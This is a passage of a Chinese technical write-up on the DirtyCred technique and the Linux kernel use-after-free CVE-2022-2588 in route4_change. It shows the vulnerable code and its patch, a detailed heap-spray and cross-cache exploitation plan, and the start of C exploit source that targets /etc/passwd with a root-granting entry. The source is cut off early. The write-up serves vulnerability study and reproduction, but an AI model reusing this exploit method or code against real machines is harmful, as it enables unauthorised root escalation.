unsigned char f_handle[];
};

前置知识 - Slab 的两种内存缓存

众所周知,Linux 内核主要使用 slab 分配器来进行内存分配,slab 分配器中主要维护了两种内存缓存(即可以理解成两套作用不同的内存分配方式):

  • dedicated cache:这里的内存是用于分配给内核中的常用对象,在该缓存中被分配的结构体将始终保持初始化状态,以便于提高分配速度
  • generic cache:通用缓存,大多数情况下其内存块的大小与 2 的幂次方对齐

这类 credfile 结构体等 credential 对象都是在 dedicated cache 中分配,而大多数内存漏洞发生的地方都是在 generic cache

使用 sudo cat /proc/slabinfo 可以查看 slab 分配器的具体信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
slabinfo - version: 2.1
# name <active_objs> <num_objs> <objsize> <objperslab> <pagesperslab>
isofs_inode_cache 94 94 688 47 8 : tunables 0 0 0 : sl0
nf_conntrack 400 400 320 25 2 : tunables 0 0 0 : sl0
au_vdir 0 0 128 32 1 : tunables 0 0 0 : sl0
au_finfo 0 0 192 42 2 : tunables 0 0 0 : sl0
au_icntnr 0 0 832 39 8 : tunables 0 0 0 : sl0
au_dinfo 0 0 192 42 2 : tunables 0 0 0 : sl0
ovl_inode 90 90 720 45 8 : tunables 0 0 0 : sl0
AF_VSOCK 375 375 1280 25 8 : tunables 0 0 0 : sl0
ext4_groupinfo_4k 672 672 192 42 2 : tunables 0 0 0 : sl0
fsverity_info 0 0 256 32 2 : tunables 0 0 0 : sl0
fscrypt_info 0 0 136 30 1 : tunables 0 0 0 : sl0
MPTCPv6 0 0 2048 16 8 : tunables 0 0 0 : sl0
ip6-frags 0 0 184 44 2 : tunables 0 0 0 : sl0
PINGv6 0 0 1216 26 8 : tunables 0 0 0 : sl0
RAWv6 1352 1352 1216 26 8 : tunables 0 0 0 : sl0
UDPv6 360 360 1344 24 8 : tunables 0 0 0 : sl0
tw_sock_TCPv6 0 0 248 33 2 : tunables 0 0 0 : sl0
request_sock_TCPv6 0 0 304 26 2 : tunables 0 0 0 : s0
TCPv6 130 130 2432 13 8 : tunables 0 0 0 : sl0
kcopyd_job 0 0 3240 10 8 : tunables 0 0 0 : sl0
dm_uevent 0 0 2888 11 8 : tunables 0 0 0 : sl0
scsi_sense_cache 1504 1504 128 32 1 : tunables 0 0 0 : sl0
mqueue_inode_cache 34 34 960 34 8 : tunables 0 0 0 : s0
fuse_request 338 338 152 26 1 : tunables 0 0 0 : sl0
fuse_inode 195 195 832 39 8 : tunables 0 0 0 : sl0
ecryptfs_inode_cache 0 0 1024 32 8 : tunables 0 0 0 :0
ecryptfs_file_cache 0 0 16 256 1 : tunables 0 0 0 : 0
ecryptfs_auth_tok_list_item 0 0 832 39 8 : tunables 0 00
fat_inode_cache 42 42 776 42 8 : tunables 0 0 0 : sl0
fat_cache 0 0 40 102 1 : tunables 0 0 0 : sl0
squashfs_inode_cache 552 552 704 46 8 : tunables 0 0 0 :0
jbd2_journal_head 2312 2380 120 34 1 : tunables 0 0 0 : sl0
jbd2_revoke_table_s 256 256 16 256 1 : tunables 0 0 0 : 0
ext4_fc_dentry_update 0 0 80 51 1 : tunables 0 0 0 0
ext4_inode_cache 49680 49680 1176 27 8 : tunables 0 0 0 : sl0
ext4_allocation_context 448 448 144 28 1 : tunables 0 0 0
ext4_io_end 1152 1152 64 64 1 : tunables 0 0 0 : sl0
ext4_pending_reservation 2048 2048 32 128 1 : tunables 0 0 0
ext4_extent_status 44133 44268 40 102 1 : tunables 0 0 0 : s0
mbcache 4088 4088 56 73 1 : tunables 0 0 0 : sl0
kioctx 0 0 576 28 4 : tunables 0 0 0 : sl0
userfaultfd_ctx_cache 0 0 192 42 2 : tunables 0 0 0 0
dnotify_struct 0 0 32 128 1 : tunables 0 0 0 : sl0
pid_namespace 90 90 136 30 1 : tunables 0 0 0 : sl0
UNIX 1140 1140 1088 30 8 : tunables 0 0 0 : sl0
ip4-frags 0 0 200 40 2 : tunables 0 0 0 : sl0
MPTCP 0 0 1920 17 8 : tunables 0 0 0 : sl0
request_sock_subflow 0 0 376 43 4 : tunables 0 0 0 :0
xfrm_dst_cache 0 0 320 25 2 : tunables 0 0 0 : sl0
xfrm_state 0 0 768 42 8 : tunables 0 0 0 : sl0
ip_fib_trie 935 935 48 85 1 : tunables 0 0 0 : sl0
ip_fib_alias 876 876 56 73 1 : tunables 0 0 0 : sl0
PING 0 0 1024 32 8 : tunables 0 0 0 : sl0
RAW 1728 1728 1024 32 8 : tunables 0 0 0 : sl0
tw_sock_TCP 297 297 248 33 2 : tunables 0 0 0 : sl0
request_sock_TCP 286 286 304 26 2 : tunables 0 0 0 : sl0
TCP 224 224 2240 14 8 : tunables 0 0 0 : sl0
hugetlbfs_inode_cache 168 168 664 24 4 : tunables 0 0 0 0
dquot 512 512 256 32 2 : tunables 0 0 0 : sl0
ep_head 4096 4096 16 256 1 : tunables 0 0 0 : sl0
dax_cache 39 39 832 39 8 : tunables 0 0 0 : sl0
bio_crypt_ctx 306 306 40 102 1 : tunables 0 0 0 : sl0
request_queue 105 105 2128 15 8 : tunables 0 0 0 : sl0
biovec-max 304 320 4096 8 8 : tunables 0 0 0 : sl0
biovec-128 256 256 2048 16 8 : tunables 0 0 0 : sl0
biovec-64 512 512 1024 32 8 : tunables 0 0 0 : sl0
khugepaged_mm_slot 216 216 112 36 1 : tunables 0 0 0 : s0
user_namespace 156 156 624 26 4 : tunables 0 0 0 : sl0
dmaengine-unmap-256 15 15 2112 15 8 : tunables 0 0 0 : 0
dmaengine-unmap-128 30 30 1088 30 8 : tunables 0 0 0 : 0
sock_inode_cache 4212 4212 832 39 8 : tunables 0 0 0 : sl0
skbuff_ext_cache 672 672 192 42 2 : tunables 0 0 0 : sl0
skbuff_fclone_cache 512 512 512 32 4 : tunables 0 0 0 : 0
skbuff_head_cache 2560 2688 256 32 2 : tunables 0 0 0 : sl0
file_lock_cache 592 592 216 37 2 : tunables 0 0 0 : sl0
file_lock_ctx 1168 1168 56 73 1 : tunables 0 0 0 : sl0
fsnotify_mark_connector 2048 2048 32 128 1 : tunables 0 0 0
buffer_head 192504 192504 104 39 1 : tunables 0 0 0 : sl0
x86_lbr 0 0 800 40 8 : tunables 0 0 0 : sl0
taskstats 736 736 352 46 4 : tunables 0 0 0 : sl0
proc_dir_entry 1638 1638 192 42 2 : tunables 0 0 0 : sl0
pde_opener 1632 1632 40 102 1 : tunables 0 0 0 : sl0
proc_inode_cache 12098 12098 712 46 8 : tunables 0 0 0 : sl0
seq_file 544 544 120 34 1 : tunables 0 0 0 : sl0
sigqueue 1071 1071 80 51 1 : tunables 0 0 0 : sl0
bdev_cache 160 160 1600 20 8 : tunables 0 0 0 : sl0
shmem_inode_cache 2408 2408 760 43 8 : tunables 0 0 0 : sl0
kernfs_node_cache 71552 71552 128 32 1 : tunables 0 0 0 : sl0
mnt_cache 2900 2900 320 25 2 : tunables 0 0 0 : sl0
filp 11820 12096 256 32 2 : tunables 0 0 0 : sl0
inode_cache 44725 44725 640 25 4 : tunables 0 0 0 : sl0
dentry 149394 149394 192 42 2 : tunables 0 0 0 : sl0
names_cache 208 208 4096 8 8 : tunables 0 0 0 : sl0
net_namespace 49 49 4352 7 8 : tunables 0 0 0 : sl0
iint_cache 0 0 120 34 1 : tunables 0 0 0 : sl0
lsm_file_cache 123420 123420 24 170 1 : tunables 0 0 0 : sl0
uts_namespace 222 222 432 37 4 : tunables 0 0 0 : sl0
nsproxy 728 728 72 56 1 : tunables 0 0 0 : sl0
vm_area_struct 52371 53079 208 39 2 : tunables 0 0 0 : sl0
mm_struct 780 780 1088 30 8 : tunables 0 0 0 : sl0
files_cache 920 920 704 46 8 : tunables 0 0 0 : sl0
signal_cache 2027 2044 1152 28 8 : tunables 0 0 0 : sl0
sighand_cache 1245 1245 2112 15 8 : tunables 0 0 0 : sl0
task_struct 1130 1176 8064 4 8 : tunables 0 0 0 : sl0
cred_jar 6258 6258 192 42 2 : tunables 0 0 0 : sl0
anon_vma_chain 28659 29184 64 64 1 : tunables 0 0 0 : sl0
anon_vma 19422 19422 104 39 1 : tunables 0 0 0 : sl0
pid 3360 3360 128 32 1 : tunables 0 0 0 : sl0
Acpi-Operand 11928 11928 72 56 1 : tunables 0 0 0 : sl0
Acpi-ParseExt 429 429 104 39 1 : tunables 0 0 0 : sl0
Acpi-State 1326 1326 80 51 1 : tunables 0 0 0 : sl0
numa_policy 155 155 264 31 2 : tunables 0 0 0 : sl0
perf_event 27 27 1192 27 8 : tunables 0 0 0 : sl0
trace_event_file 3496 3496 88 46 1 : tunables 0 0 0 : sl0
ftrace_event_field 13090 13090 48 85 1 : tunables 0 0 0 : s0
pool_workqueue 3392 3392 256 32 2 : tunables 0 0 0 : sl0
radix_tree_node 23380 23380 584 28 4 : tunables 0 0 0 : sl0
task_group 425 425 640 25 4 : tunables 0 0 0 : sl0
vmap_area 12359 26624 64 64 1 : tunables 0 0 0 : sl0
dma-kmalloc-8k 0 0 8192 4 8 : tunables 0 0 0 : sl0
dma-kmalloc-4k 0 0 4096 8 8 : tunables 0 0 0 : sl0
dma-kmalloc-2k 0 0 2048 16 8 : tunables 0 0 0 : sl0
dma-kmalloc-1k 0 0 1024 32 8 : tunables 0 0 0 : sl0
dma-kmalloc-512 0 0 512 32 4 : tunables 0 0 0 : sl0
dma-kmalloc-256 0 0 256 32 2 : tunables 0 0 0 : sl0
dma-kmalloc-128 0 0 128 32 1 : tunables 0 0 0 : sl0
dma-kmalloc-64 0 0 64 64 1 : tunables 0 0 0 : sl0
dma-kmalloc-32 0 0 32 128 1 : tunables 0 0 0 : sl0
dma-kmalloc-16 0 0 16 256 1 : tunables 0 0 0 : sl0
dma-kmalloc-8 0 0 8 512 1 : tunables 0 0 0 : sl0
dma-kmalloc-192 0 0 192 42 2 : tunables 0 0 0 : sl0
dma-kmalloc-96 0 0 96 42 1 : tunables 0 0 0 : sl0
kmalloc-rcl-8k 0 0 8192 4 8 : tunables 0 0 0 : sl0
kmalloc-rcl-4k 0 0 4096 8 8 : tunables 0 0 0 : sl0
kmalloc-rcl-2k 0 0 2048 16 8 : tunables 0 0 0 : sl0
kmalloc-rcl-1k 0 0 1024 32 8 : tunables 0 0 0 : sl0
kmalloc-rcl-512 0 0 512 32 4 : tunables 0 0 0 : sl0
kmalloc-rcl-256 0 0 256 32 2 : tunables 0 0 0 : sl0
kmalloc-rcl-192 0 0 192 42 2 : tunables 0 0 0 : sl0
kmalloc-rcl-128 800 800 128 32 1 : tunables 0 0 0 : sl0
kmalloc-rcl-96 1386 1386 96 42 1 : tunables 0 0 0 : sl0
kmalloc-rcl-64 5824 5824 64 64 1 : tunables 0 0 0 : sl0
kmalloc-rcl-32 0 0 32 128 1 : tunables 0 0 0 : sl0
kmalloc-rcl-16 0 0 16 256 1 : tunables 0 0 0 : sl0
kmalloc-rcl-8 0 0 8 512 1 : tunables 0 0 0 : sl0
kmalloc-cg-8k 60 60 8192 4 8 : tunables 0 0 0 : sl0
kmalloc-cg-4k 192 216 4096 8 8 : tunables 0 0 0 : sl0
kmalloc-cg-2k 272 272 2048 16 8 : tunables 0 0 0 : sl0
kmalloc-cg-1k 1113 1248 1024 32 8 : tunables 0 0 0 : sl0
kmalloc-cg-512 2498 2688 512 32 4 : tunables 0 0 0 : sl0
kmalloc-cg-256 512 512 256 32 2 : tunables 0 0 0 : sl0
kmalloc-cg-192 672 672 192 42 2 : tunables 0 0 0 : sl0
kmalloc-cg-128 640 640 128 32 1 : tunables 0 0 0 : sl0
kmalloc-cg-96 672 672 96 42 1 : tunables 0 0 0 : sl0
kmalloc-cg-64 2112 2112 64 64 1 : tunables 0 0 0 : sl0
kmalloc-cg-32 2048 2048 32 128 1 : tunables 0 0 0 : sl0
kmalloc-cg-16 4608 4608 16 256 1 : tunables 0 0 0 : sl0
kmalloc-cg-8 8192 8192 8 512 1 : tunables 0 0 0 : sl0
kmalloc-8k 244 244 8192 4 8 : tunables 0 0 0 : sl0
kmalloc-4k 1860 1872 4096 8 8 : tunables 0 0 0 : sl0
kmalloc-2k 2384 2384 2048 16 8 : tunables 0 0 0 : sl0
kmalloc-1k 2968 3008 1024 32 8 : tunables 0 0 0 : sl0
kmalloc-512 52767 52768 512 32 4 : tunables 0 0 0 : sl0
kmalloc-256 8879 8960 256 32 2 : tunables 0 0 0 : sl0
kmalloc-192 3486 3486 192 42 2 : tunables 0 0 0 : sl0
kmalloc-128 3419 3424 128 32 1 : tunables 0 0 0 : sl0
kmalloc-96 5482 5754 96 42 1 : tunables 0 0 0 : sl0
kmalloc-64 18368 18368 64 64 1 : tunables 0 0 0 : sl0
kmalloc-32 33152 33152 32 128 1 : tunables 0 0 0 : sl0
kmalloc-16 16640 16640 16 256 1 : tunables 0 0 0 : sl0
kmalloc-8 15872 15872 8 512 1 : tunables 0 0 0 : sl0
kmem_cache_node 576 576 64 64 1 : tunables 0 0 0 : sl0
kmem_cache 384 384 256 32 2 : tunables 0 0 0 : sl0
  • generic cache:在名称中带有 kmalloc
  • dedicated cache:拥有特殊的名字

Dirty Cred 漏洞利用

大致步骤:

  • 释放存在漏洞的非特权凭据
  • 在释放的内存插槽中分配特权凭据
  • 以特权用户身份操作

具体步骤:(本例是采用 file 对象完成利用,也可以采用 cred 对象)

  • 打开可写的文件 /tmp/x,就会分配可写的 file 对象,在通过写许可检查之后后,进行实际写操作之前暂停
  • 利用漏洞释放该 file 对象
  • 打开只读文件 /etc/passwd,就会分配新的 file 对象,占据旧的 file 对象,继续写入就能往只读文件写入内容(例如写入 hacker:x:0:0:root:/:/bin/sh 就能提权)

CVE-2022-2588 漏洞点:

  • route4_filter 对象从链表中删除和释放时的检查条件不一致
  • 导致该对象被释放后仍存于链表中

安装 Kernel:

1
2
3
4
5
wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.19.1.tar.xz
tar -xvf linux-5.19.1.tar.xz
make menuconfig
make x86_64_defconfig
make bzImage -j32

编译选项:

  • CONFIG_BINFMT_MISC=y (否则启动VM时报错)
  • CONFIG_USER_NS=y (触发漏洞需要 User Namespace)
  • CONFIG_NET_CLS_ROUTE4=y (漏洞函数所在的模块)
  • CONFIG_DUMMY=y CONFIG_NET_SCH_QFQ=y (breezeO_o 提供的两个编译选项,触发 poc 需要用到)
  • CONFIG_NET_CLS_ACT=y / CONFIG_NET_CLS_BASIC=y (默认已开启)
  • CONFIG_NET_SCH_SFQ=y (exp 中触发漏洞需用到 sfq 随机公平队列)
  • CONFIG_NET_EMATCH_META=y (exp 中堆喷对象时需要用到)

Dirty Cred 所面对的挑战:

  1. 如何将内存破坏漏洞,转换为能够置换 file object 的原语
  2. 如何延长文件的 权限检查-数据写入 的竞争窗口
  3. 如何创建高权限的 file object,来占据先前被释放的低权限 file object 内存空洞

对应的解决措施:

  1. 置换 file object
    • Out Of Bound Write:尝试越界写入下一个结构体的凭证字段,将其替换为高权限的凭证(例如:request_key_auth->cred
    • Use After Free:使用高权限的凭证来“占据”低权限的凭证
    • Double Free:最终可以达到两个指针共同指向一个凭证的效果
  2. 延长竞争窗口:
    • Userfaultfd:在多线程程序中,userfaultfd 允许一个线程管理其他线程所产生的 Page Fault 事件,当某个线程触发了 Page Fault,该线程将立即睡眠,而其他线程则可以通过 userfaultfd 来读取出这个 Page Fault 事件,并进行处理
    • FUSE:一个用户层文件系统框架,允许用户实现自己的文件系统,用户可以在该框架中注册 handler,来指定应对文件操作请求(可以在实际操作文件之前,执行 handler 暂停内核执行,尽可能地延长窗口)
    • File Lock:使用锁定暂停内核执行
  3. 分配特权对象:
    • 大量执行 Set-UID 程序(例如 sudo),或者频繁创建特权级守护进程(例如 sshd),从而创建 privilege cred 结构体
    • 使用 ReadOnly 方式来打开诸如 /etc/passwd 等特权文件
    • 当内核创建新的 kernel thread 时,当前 kernel thread 将会被复制,于此同时其 privileged cred 结构体也会被拷贝一份

接下来看一看关键的代码:

  • route4_filter 对象:(大小为“144”,属于 kmalloc-192
1
2
3
4
5
6
7
8
9
10
11
12
struct route4_filter {
struct route4_filter __rcu *next;
u32 id;
int iif;

struct tcf_result res;
struct tcf_exts exts;
u32 handle;
struct route4_bucket *bkt;
struct tcf_proto *tp;
struct rcu_work rwork;
};
  • tcf_exts 对象的 tc_action 条目:(包含32个 tc_action 对象指针,属于 kmalloc-256
1
2
3
4
5
6
7
8
9
10
11
12
13
struct tcf_exts {
#ifdef CONFIG_NET_CLS_ACT
__u32 type; /* for backward compat(TCA_OLD_COMPAT) */
int nr_actions;
struct tc_action **actions;
struct net *net;
#endif
/* Map to export classifier specific extension TLV types to the
* generic extensions API. Unsupported extensions must be set to 0.
*/
int action;
int police;
};
  • 有漏洞的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
static int route4_change(struct net *net, struct sk_buff *in_skb,
struct tcf_proto *tp, unsigned long base, u32 handle,
struct nlattr **tca, void **arg, bool ovr,
bool rtnl_held, struct netlink_ext_ack *extack)
{
struct route4_head *head = rtnl_dereference(tp->root);
struct route4_filter __rcu **fp;
struct route4_filter *fold, *f1, *pfp, *f = NULL;
struct route4_bucket *b;
struct nlattr *opt = tca[TCA_OPTIONS];
struct nlattr *tb[TCA_ROUTE4_MAX + 1];
unsigned int h, th;
int err;
bool new = true;

if (opt == NULL)
return handle ? -EINVAL : 0;

err = nla_parse_nested_deprecated(tb, TCA_ROUTE4_MAX, opt,
route4_policy, NULL);
if (err < 0)
return err;

fold = *arg; /* 现有的route4_filter对象 */
if (fold && handle && fold->handle != handle)
return -EINVAL;

err = -ENOBUFS;
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); /* 分配新的route4_filter对象 */
if (!f)
goto errout;

err = tcf_exts_init(&f->exts, net, TCA_ROUTE4_ACT, TCA_ROUTE4_POLICE); /* 进行初始化,为route4_filter->exts.action分配256字节的空间 */
if (err < 0)
goto errout;

if (fold) { /* 把旧的route4_filter对象中的数据填入新的route4_filter对象 */
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;

f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}

err = route4_set_parms(net, tp, base, f, handle, head, tb,
tca[TCA_RATE], new, ovr, extack); /* 初始化new filter */
if (err < 0)
goto errout;

/* 将new filter插入到list */
h = from_hash(f->handle >> 16);
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;

tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);

/* 若存在old filter,old handle不为"0",old new handle不同,则从list中移除 */
if (fold && fold->handle && f->handle != fold->handle) {
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h]; /* ht存放的是route4_filter列表 */
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); /* 从链表中删除 */
break;
}
}
}
}

route4_reset_fastmap(head);
*arg = f;
if (fold) { /* 若存在old filter,释放old filter */
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work); /* 启动内核任务,调用route4_delete_filter_work释放old filter */
}
return 0;

errout:
if (f)
tcf_exts_destroy(&f->exts);
kfree(f);
return err;
}
  • 使用 handle 作为 ID 来区分不同的 route4_filter
  • 如果存在某个 handle 之前已被初始化过(fold 变量非空),就会移除旧的 filter,添加新的 filter
  • 否则直接添加新的 filter

这里可以发现,将 route4_filter 对象从链表中删除和释放时的检查条件不一致:

  • 从链表中删除的条件:
    • 存在 old filter
    • old handle 不为 “0”
    • old new handle 不同
  • 从链表中释放的条件:
    • 存在 old filter

如果 old handle == 0,则不会在链表中删除但是会被释放,这就导致了一个 UAF

漏洞利用的思路为:

cross-cache:我们将释放某个 kmalloc-256 cache page,将该页归还给页管理器,然后分配 file 结构来复用该页(filp cache

  • 分配一堆 kmalloc-256 堆块,包含漏洞对象
  • 利用漏洞第1次释放漏洞对象,并释放一堆 kmalloc-256,以归还漏洞对象所在的页
  • 分配大量低权限 file 对象来占据漏洞对象(cross-cache attack)
  • 利用漏洞第2次释放漏洞对象(低权限 file 对象被释放)
  • 堆喷高权限 file 对象来替换低权限 file 对象
  • 利用 UAF 控制高权限 file 对象

补丁:

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/net/sched/cls_route.c b/net/sched/cls_route.c
index a35ab8c27866e..3f935cbbaff66 100644
--- a/net/sched/cls_route.c
+++ b/net/sched/cls_route.c
@@ -526,7 +526,7 @@ static int route4_change(struct net *net, struct sk_buff *in_skb,
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);

- if (fold && fold->handle && f->handle != fold->handle) {
+ if (fold) {
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);

Dirty Cred 漏洞复现

进程1 进程2
0. 绑定到 CPU 0 上运行,设置子进程内存、工作目录、Namespace,启动进程2
1. 去碎片化,打开10000个文件,消耗 filp cache,为 cross-cache 作准备
2. 喷射 (middle+3)*32 kmalloc-192 & kmalloc-256(和漏洞对象位于同一cache,便于进行 cross-cache 被 file 对象复用)
3. 分配1个 route4_filter 漏洞对象,还有1个kmalloc-256 的漏洞对象
4. 再喷射 (end-middle-2)*32 kmalloc-192 & kmalloc-256
5. 释放 (end-24)*32 kmalloc-192 & kmalloc-256
6. 第1次释放漏洞对象 kmalloc-192 & kmalloc-256
7. 释放 (end-middle+1) kmalloc-192 & kmalloc-256(避免连续释放同一对象,触发内核 double-free 的检测)
8. 喷射 4000 个低权限 file 对象(通过打开 exp_dir/data 文件)
9. 第2次释放漏洞对象 kmalloc-192 & kmalloc-256
10. 喷射 5000 个低权限 file 对象,采用 kcmp 调用检查是否和前 4000 个 file 重合,重合的两个 file 记为 overlap_a / overlap_b
11. 发起3个利用线程,线程1写入大量数据来占用文件锁,线程2往 overlap_a 写入恶意数据
12. 线程3关闭 overlap_a / overlap_b,喷射 4096*2 个高权限 file 对象(通过打开 /etc/passwd 文件),未区分CPU
13. 最后检查 /etc/passwd 文件是否被写入恶意数据

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
// $ gcc -static -pthread -O0 ./exploit.c -o ./exploit
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <assert.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mount.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include <sys/shm.h>
#include <sys/stat.h>
#include <sys/timerfd.h>

#include <linux/tc_ematch/tc_em_meta.h>
#include <sys/resource.h>

#include <linux/capability.h>
#include <linux/futex.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/kcmp.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>

#include <x86intrin.h>
#include <err.h>
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/utsname.h>

char* target = "/etc/passwd"; // overwrite the target file
char* overwrite = "hi:x:0:0:root:/:/bin/sh\n"; // "user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash\n"
char* global;
char* self_path;
char* content; // evil data + existing data in the target file

#define PAGE_SIZE 0x1000
#define MAX_FILE_NUM 0x8000

int fds[MAX_FILE_NUM] = {};
int fd_2[MAX_FILE_NUM] = {};
int overlap_a = -1; // unprivileged `file`
int overlap_b = -1; // privileged `file`

int cpu_cores = 0; // num of cpu cores
int sockfd = -1;

int spray_num_1 = 2000; // 4000
int spray_num_2 = 4000; // 5000

int pipe_main[2]; // notify process to excecute using pipe
int pipe_parent[2];
int pipe_child[2];
int pipe_defrag[2];
int pipe_file_spray[2][2];

int run_write = 0; // let thread 2 begin to write evil data
int run_spray = 0; // let thread 3 begin to spray privileged `file`
bool overlapped = false;

void print_hex(char* buf, int size) {
int i;
puts("======================================");
printf("data :\n");
for (i = 0; i < (size / 8); i++) {
if (i % 2 == 0) {
printf("%d", i / 2);
}
printf(" %16llx", *(size_t*)(buf + i * 8));
if (i % 2 == 1) {
printf("\n");
}
}
puts("======================================");
}
// set cpu affinity
void pin_on_cpu(int cpu) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(cpu, &cpu_set);
if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) {
perror("sched_setaffinity()");
exit(EXIT_FAILURE);
}
}

static bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
